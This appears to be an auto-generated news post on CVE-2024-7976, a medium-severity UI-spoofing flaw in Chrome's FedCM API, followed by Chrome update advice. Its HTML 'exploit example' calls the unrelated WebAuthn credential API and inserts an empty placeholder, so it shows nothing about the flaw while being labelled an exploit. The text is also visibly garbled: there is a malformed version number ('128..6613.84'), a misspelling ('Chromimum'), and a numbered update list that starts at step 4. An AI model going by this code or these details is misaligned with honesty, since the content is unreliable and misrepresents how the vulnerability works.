CVE CyberSecurity Database News

CVE-2024-7976: Inappropriate Implementation in FedCM in Google Chrome Allows UI Spoofing

Poster -

Security researchers have recently discovered an inappropriate implementation in the Federated Credential Management (FedCM) API in Google Chrome versions before 128..6613.84. Named CVE-2024-7976, this vulnerability allows remote attackers to execute UI (User Interface) spoofing via a specially crafted HTML page. Chromimum's security team has categorized the severity of this vulnerability as medium.

In-depth Analysis of CVE-2024-7976

UI spoofing is a technique where an attacker can create a fake user interface to trick users into providing their sensitive data, such as credentials, payment information, and other personally identifiable information (PII). The vulnerability in the FedCM API in Google Chrome allows a remote attacker to create a seemingly legitimate HTML page, which, when viewed by the end user, may appear as a valid website. This enables the cybercriminal to gather critical information from the victim, potentially causing severe consequences, including identity theft, financial loss, and unauthorized access to online accounts.

Code Snippet Demonstrating Vulnerability

The following example illustrates how a remote attacker may exploit the vulnerability in the FedCM API in Google Chrome:

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2024-7976 Exploit Example</title>
    <script>
        function UiSpoof() {
            // Malicious content to spoof the user interface
            let maliciousContent = `
            // Malicious HTML and JavaScript code
            `;
            // Insert the malicious content into the FedCM API
            if (navigator.credentials && navigator.credentials.create) {
                let cred = {
                    publicKey: {
                        challenge: new Uint8Array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]),
                        rp: {
                            name: "Fake Website"
                        },
                        user: {
                            id: new Uint8Array(16),
                            name: "spoofed@fake.com",
                            displayName: "Spoofed User"
                        },
                        pubKeyCredParams: [
                            {
                                type: "public-key",
                                alg: -7
                            }
                        ],
                        authenticatorSelection: {
                            requireResidentKey: false
                        }
                    }
                };
                navigator.credentials.create(cred)
                    .then((response) => {
                        document.body.innerHTML = maliciousContent;
                    })
                    .catch((error) => {
                        console.error("Error: Failed to spoof UI using FedCM", error);
                    });
            }
        }
    </script>
</head>
<body>
<button onclick="UiSpoof()">Click here to exploit CVE-2024-7976</button>
</body>
</html>

Please note that the code snippet provided above is for educational purposes only and should not be used maliciously.

- Google Chrome Release Notes (link)
- CVE-2024-7976 Official CVE Reference (link)
- Chromium Issue Tracker (link)
- Federated Credential Management (FedCM) API Documentation (link)

How to Protect Against CVE-2024-7976 Exploit

Google Chrome users are strongly advised to update their browsers to version 128..6613.84 or later to protect against potential UI spoofing attacks exploiting CVE-2024-7976. To update Google Chrome, follow these steps:

4. The browser will check for updates automatically. If an update is available, follow the on-screen instructions to install it.

Restart Google Chrome when prompted.

Additionally, users should always remain vigilant against potential UI spoofing attacks by carefully inspecting the URLs of the websites they visit and never providing sensitive information on suspicious websites.

Stay safe and ensure you keep your software up to date!

Timeline

Published on: 08/21/2024 21:15:09 UTC
Last modified on: 08/22/2024 17:39:54 UTC